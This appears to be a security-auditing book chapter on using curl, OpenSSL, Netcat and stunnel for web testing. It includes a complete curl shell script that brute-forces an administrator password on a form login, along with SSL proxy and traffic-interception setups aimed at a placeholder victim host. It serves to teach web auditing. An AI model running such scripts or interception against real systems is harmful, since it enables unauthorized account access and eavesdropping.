All-Purpose Tools
The following tools serve as workhorses for making connections over HTTP or HTTPS. Alone, they do not find vulnerabilities or secure a system, but their functionality can be put to use to extend the abilities of a web vulnerability scanner, peek into SSL traffic, or encrypt client/server communication to protect it from network sniffers.
Curl
Where Netcat deserves the bragging rights of super network tool, curl deserves considerable respect as super protocol tool. Curl is a command-line tool that can handle DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP, and Telnet requests. It also supports HTTP proxies. As this chapter focuses on web auditing tools, we’ll stick to the HTTP and HTTPS protocols. By now, it has become a de facto tool on most Linux and BSD distributions, plus Mac OSX and Cygwin.
Implementation
To connect to a web site, specify the URL on the command line, like so:
$ curl https://www.victim.com
Automated scripts that spider a web site or brute-force passwords really demonstrate the power of curl. some of the most useful of curl’s options.
| Option | Description |
|---|---|
| -H/--header | Set a client-side header. Use an HTTP header to imitate several types of connections. Spoof a particular browser Bypass poor authorization that checks the Referer page |
| -b/--cookie -c/--cookie-jar | -b uses a file that contains cookies to send to the server. For example, |
| -d/--data | Submit data with a POST request. This includes Form data or any other data generated by the web application. For example, to set the Form field for a login page, use -d login=arbogoth&passwd=p4ssw0rd. This option is useful for writing custom brute-force password guessing scripts. The real advantage is that the requests are made with POST requests, which are much harder to craft with a tool such as Netcat. |
| -G/--get | Change a POST method so that it uses GET. This applies only when you specify the –d option. |
| -u/--user -U/--proxy-user | Set the username and password used for basic authentication or a proxy. To access a site with Basic Authentication, use -u user:password. To access a password-protected proxy, use -U user:password. This is meaningless if the –X option is not set. |
| --url | Set the URL to fetch. This does not have to be specified but helps for clarity when many command-line options are used. For example, —url https://www.victim.com/admin/menu.php?menu=adduser Curl gains speed optimizations when multiple URLs are specified on the command line because it tries to makes persistent connections. This means that all requests will be made over the original connection instead of establishing a new connection for each request. |
| -x/--proxy | Set an HTTP proxy. For example, -x http://intraweb:80/. |
| -K/--config | Set a configuration file that includes subsequent command-line options. For example, -K www.victim.com.curl. This is useful when it becomes necessary to specify multiple command-line options. |
 |
So far we've delineated a few of the useful options that curl offers, but it still doesn't really seem to do much of anything. Curl's power, however, lies in its adaptability to any web (or other protocol) situation. It simplifies making scripts. Perl, Python, and C have libraries that aid HTTP connections and URL manipulation, but they require many support libraries and a steeper learning curve. That is not to say that Perl can't do anything curl can do—curl is just easier. It's one reinvention of the wheel that raises the bar for other tools.
The following shell script demonstrates how to use curl as a customized brute-force password guessing tool for a web site. The script can be run on nearly any Unix- or Linux-based operating system or with the help of Cygwin on Windows. The web site uses Form-based authentication in a POST request. The login process is further complicated by a cookie value that must be passed to the server when the user logs in and is modified if the password is correct.
#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication. 2002 M. Shema
if [ -z $1 ]; then
echo -e "\n\tUsage: $0"
exit 1;
fi
PASSLIST=`/bin/cat $1`
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3&LV=20013&HASH=17C9&GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
-b $COOKIE \
-d user=$USERNAME \
-c cookies.txt \
--url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
# specify Headers on this line to work around inclusion of spaces
`$CMD \
-H 'User-Agent: Mozilla/4.0' \
-H 'Host: localhost' \
-d passwd=$PASS`
# upon a successful login, the site changes the user's cookie value,
# but we don't know what the new value is
RES=`grep -v $COOKIE cookies.txt`
if [ -n '$RES' ]; then
echo -e "found $RES with $USER : $PASS\n";
exit 0;
fi
done
We find a dictionary of common passwords and then run the script against the target. If we're lucky, we'll find the administrator's password. If not, we'll move on to the next user.
OpenSSL
Any web attack that can be performed over port 80 can also be performed over port 443, the default SSL port. Most tools, exploit code, and scripts target port 80 to avoid the overhead of programming encryption routines and handling certificates. An OpenSSL proxy enables you to redirect normal HTTP traffic through an SSL connection to the target server.
Implementation
The OpenSSL binary is more accurately a suite of functionality, most of which we will not use. The following exercise will focus on OpenSSL for Linux distributions, but in general multiple distributions and binaries do exist; see http://www.openssl.org for more information. If you were to type openssl on the command line without arguments, you would be sent this to the openssl pseudo-shell:
$ openssl
OpenSSL>
OpenSSL contains more functionality than we need to set up a proxy. We are interested in the SSL/TLS client, or the s_client option. You cannot obtain usage information by typing s_client –h, but OpenSSL does have a man page. Now we can connect directly to an SSL server using the s_client command. The –quiet option reduces the amount of error information:
$ openssl s_client –quiet –connect website:443
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@website
verify error:num=18:self-signed certificate
verify return:1
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
verify error:num=18:self-signed certificate
verify return:1
HEAD / HTTP/1.0
Date: Tue, 26 Feb 2002 05:44:54 GMT
Server: Apache/1.3.19 (Unix)
Content-Length: 2187
Connection: close
Content-Type: text/html
When we typed HEAD / HTTP/1.0, the server returned its header information, thus confirming that the SSL connections succeed. The lines previous to the HEAD command indicate the certificate’s information and status. It includes the distinguished name (DN, for you LDAP enthusiasts) and the e-mail address of the person who created the certificate. OpenSSL also indicated that the certificate was self-signed—that is, it has not been verified or generated under a third-party certificate authority (CA). For the most part, we ignore these errors as long as we can establish the SSL connection.
| Note | In a true e-commerce situation, the validity of a server certificate is extremely important. The certificate’s domain should always match the domain of the URL that it protects, it should not be on a revocation list, and it should not be expired. |
Now we could save some typing by piping the HEAD request into the s_client command:
$ echo –e "HEAD / HTTP/1.0\n\n" | \
> openssl s_client –quiet –connect website:443
This puts us one step closer to being able to make raw requests of an HTTPS server, but it doesn’t solve the problem of using a tool such as arirang to scan an SSL server. To do so, we need to run the s_client command in a proxy situation. In the previous examples, s_client connected to the SSL server, an HTTP request was sent, an HTTP response was received, and then the connection closed. Arirang or Stealth could make more than 6000 requests. Obviously, we need a better degree of automation.
The Unix (and Cygwin) inetd program solves this problem. The inetd daemon runs on a system and listens on specific TCP and UDP ports. When another host requests to connect to one of the ports that inetd monitors, inetd makes a quick access check and then passes on valid connection requests to another daemon. For example, most Unix FTP servers operate from the inetd daemon. A file called /etc/inetd.conf contains an entry that instructs inetd how to handle FTP requests:
# /etc/inetd.conf example content
ftp stream tcp nowait root /usr/libexec/ftpd ftp -US
The first column, ftp in this case, represents the port number on which the service listens. The value ftp could be replaced with 21, the default FTP port, and everything would still function properly. How does this help us set up an SSL proxy? Well, we just create a new service that listens on a TCP port of our choice. Then, instead of launching an FTP daemon, we launch our s_client command:
# /etc/inetd.conf SSL proxy example content
80 stream tcp nowait root /home/istari/ssl_proxy.sh
The /home/istari/ssl_proxy.sh file contains two lines:
#!/bin/sh
openssl s_client -quiet -connect www.victim.com:443 2> /dev/null
| Note | Setting up an SSL proxy on an Internet-facing server might have unexpected consequences. Always restrict access to the SSL proxy using the /etc/hosts.allow and /etc/hosts.deny files, or their equivalents for your Unix variant. |
Now whenever a connection is made to the localhost on port 80, the connection is forwarded over SSL to www.victim.com on port 443. Any connection that you wish to make to the victim server is made to the localhost (or the IP address of the proxy) instead. This will be helpful when trying to audit client/server communications when the server responds only to SSL requests. You can establish your own plaintext-to-SSL proxy. If both parts of the connection, client and server, refuse to talk in any protocol other than SSL, you will need to use stunnel to peek into the traffic.
Inetd is not the only method of launching a service. It does have the advantage of being able to apply TCPWrappers, a method for allowing or denying access to a port based on IP address. Not all operating systems use inetd, and the Windows operating system definitely does not have this function.
Cygwin If your friends still pick on you because you're running some version of Windows, don't fret. The Cygwin environment has an inetd daemon and the OpenSSL software that allows you to run an SSL proxy. Cygwin does complain about using 80 for the service name. The /etc/inetd.conf file should contain the following:
# /etc/inetd.conf Cygwin SSL proxy example
www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh
Then you can run inetd from the command line. We like to run it with –d, the debugging option, just to make sure everything works correctly:
$ /usr/sbin/inetd.exe -d /etc/inetd.conf
Now the proxy is listening on port 80 and forwarding connections to the target specified in the ssl_proxy.sh script.
Installing inetd as a native Windows service takes a few more manipulations. Two methods can be used to create the service. The prerequisite for each is that the Windows PATH environment variable contains C:\cygwin\bin or wherever the cygwin\bin directory resides. Inetd can install itself as a service:
$ /usr/sbin/inetd.exe --install-as-service /etc/inetd.conf
To remove it, use the --remove-as-service option.
Cygwin's built-in utilities also install and run the inetd service:
cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a –d
-e CYGWIN=ntsec
cygrunsrv -S inetd
The –R option removes the inetd service.
Xinetd Xinetd puts a little “extra” into the inetd daemon. It improves logging, connection handling, and administration. On systems that support xinetd, the service definitions are usually in the /etc/xinetd.d directory. Create an SSL proxy service using this xinetd syntax:
#default: off
#description: OpenSSL s_client proxy to www.victim.com
service 80
{
socket_type = stream
wait = no
protocol = tcp
user = root
server = /root/ssl_proxy.sh
only_from = 127.0.0.1
disable = no
}
As always, be aware of running services with root privileges and services to which only you should have access.
Netcat (sort of) For one-off connections, such as running a compiled exploit that normally works against port 80, Netcat saves the day. You may not be able to run a whisker scan correctly, but a single connection will succeed. Whisker has the advantage of working on Unix and Windows systems, provided the OpenSSL suite is installed. A Netcat pseudo-proxy fits in a single command:
$ nc -vv -L –p 80 -e "openssl s_client -quiet \
> -connect www.victim.com:443"
The –L option ("listen harder") instructs Netcat to continue listening even if a client closes the connection. The –e option contains the s_client command to connect to the target. Then, connect to port 80 on the listening host to access the SSL server on the target (www.victim.com in the example).
You will have to use the original version of Netcat to do this. On OpenBSD, for example, the –L option is replaced by –k and the –e option is deprecated since Unix supports pipes (|).
An OpenBSD command looks like this:
$ nc –vv –k –l 80 | openssl s_client –quiet \
> –connect www.victim.com:443
Of course, it doesn't make sense to add the extra step of using Netcat. You should be able to pipe the output of the exploit directly into the s_client command, skipping a step. Then again, there may be scenarios in which strict network controls or mixed OS environments actually make this useful.
Stunnel
OpenSSL is excellent for one-way SSL conversions. Unfortunately, you can run into situations in which the client sends out HTTPS connections and cannot be downgraded to HTTP. In these cases, you need a tool that can either decrypt SSL or sit between the client and server and watch traffic in clear text. Stunnel provides this functionality.
You can also use stunnel to wrap SSL around any network service. For example, you could set up stunnel to manage connections to an Internet Message Access Protocol (IMAP) service to provide encrypted access to e-mail (you would also need stunnel to manage the client side as well).
Implementation
Stunnel now has two development branches: the 3.x series and 4.x series. The majority of this section relates to the command-line options for the 3.x series because the command line tends to be easier to deal with in rapidly changing environments and one-off testing of services. Check out the end of the section for configuration differences in the 4.x series, which relies on a single file to control stunnel’s activity. Both the 3.x and 4.x series provide the same capabilities and all of the techniques can be applied to either version.
SSL communications rely on certificates. The first thing you need is a valid PEM file that contains encryption keys to use for the communications. Stunnel comes with a default file called stunnel.pem, which it lets you define at compile time.
If you wish to use a different certificate, use this openssl command:
$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \
> -days 365
...follow prompts...
$ openssl dhparam 512 >> custom.pem
Now the custom.pem file is ready for use. Stunnel looks for stunnel.pem by default, or you can use your own with the –p option.
Monkey in the Middle What if you need to view the data being sent over an SSL connection? You might need to examine the data passed between a web-based client application and its server, but the client transmits in HTTPS and the server accepts only HTTPS. In this case, you need to slip stunnel between the client and server, downgrade the connection to HTTP so it is readable, and then turn the traffic back into HTTPS so the server accepts it. This requires two stunnel commands.
Run stunnel in normal daemon mode (-d). This mode accepts SSL traffic and outputs traffic in clear text. The –f option forces stunnel to remain in the foreground. This is useful for watching connection information and making sure the program is working. Stunnel is not an end-point program. In other words, you need to specify a port on which the program listens (-d <port>) and a host and port to which traffic is forwarded (-r <host:port>). The following command listens for SSL traffic on port 443 and forwards non-SSL traffic to port 80. If we’re just making a monkey in the middle, the –r points to the other stunnel command:
$ stunnel –p custom.pem –f –d 443 –r:80
2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service
name
2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL?0.9.6c 21 dec 2001
2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1
(unlimited) -> 2000 clients allowed
The other stunnel command is similar, but it is used in client mode (-c) to accept traffic in clear text and output traffic encrypted by SSL. In this example, the command listens on port 80 and then sends SSL traffic to the final destination on port 443:
$ stunnel –p custom.pem –f –d 80 –r www.victim.com:443 –c
2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service
name
2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed
If we run these commands on different computers (or between a computer and a VMware session), we can sniff the traffic that is forwarded over port 80.
SSL for a Service Stunnel provides the same functionality of inetd with the addition of SSL encryption. Stunnel supports TCPWrappers natively, which means that it checks the /etc/hosts.allow and /etc/hosts.deny files upon starting. This makes it possible for you to apply encryption to just about any service. For example, IMAP is a protocol for remote mailbox access. The drawback with IMAP is that passwords can be sniffed.
This is what the IMAP service configuration looks like when run from /etc/inetd.conf:
imap stream tcp nowait root /usr/sbin/tcpd imapd
The service name is imap (TCP port 143) and the TCPWrappers daemon executes the IMAP daemon once a connection is opened on port 143.
Now take a look at the equivalent service configuration under stunnel. The following command would be run from the command line, not as part of /etc/inetd.conf:
# stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe -N imapd
2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as tcpwrapper
service name
2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed
You’re already familiar with the –d option, but here we’ve introduced –l and –N. The –l option launches the specified program for each incoming connection. In this case, we launched the imapd daemon. The –N is useful, especially on Cygwin systems for forcing a service name for TCPWrappers inspection. The service names are found in the /etc/services file and are necessary to match entries in the /etc/hosts.allow and /etc/hosts.deny files.
Stunnel-4.x The latest version of stunnel represents a change in architecture and improved cross-platform functionality. Installation follows the familiar commands:
./configure
make
make install
It even includes a native Win32 binary that installs and runs as a service. Use that version instead of trying to compile stunnel within Cygwin. If you choose to use stunnel on a Windows platform, use the –install option to install stunnel as a service and –uninstall when you wish to remove it. Consequently, it can be controlled with the net start and net stop commands just as any other Windows service.
The most important difference between 3.x and 4.x from a user perspective is that 3.x was purely command-line driven and 4.x uses a single configuration file. Whichever version you use is a matter of preference, but the 4.x series provides a better security model if you wish to use stunnel to wrap SSL around a service. Here is a shortened version of the default configuration file for stunnel 4.04:
# Comment it out on Win32Note : The client mode setting will only cause problems if you are confused about what “yes” and “no” imply. A “client=yes” line means that the remote service is an SSL listener and stunnel accepts plaintext traffic. If you set “client=no” (the default value), stunnel accepts SSL traffic and forwards it to a plaintext service
cert = /usr/local/etc/stunnel/mail.pem
chroot = /usr/local/var/run/stunnel/
# PID is created inside chroot jail
pid = /stunnel.pid
setuid = nobody
setgid = nogroup
# Authentication stuff
#verify = 2
# don't forget about c_rehash Capath
# it is located inside chroot jail:
#CApath = /certs
# or simply use CAfile instead:
#CAfile = /usr/local/etc/stunnel/certs.pem
# Some debugging stuff
#debug = 7
#output = stunnel.log
# Use it for client mode
#client = yes
# Service-level configuration
[pop3s]
accept = 995
connect = 110
[imaps]
accept = 993
connect = 143
#[https]
#accept = 443
#connect = 80
#TIMEOUTclose = 0
If the path names correspond to the correct location of the certificate files, you’re ready to go. Otherwise, change the paths and define the services you wish to use.
The TIMEOUTxxx directives are useful for HTTP(S) operations over poor connections or with heavy loads.
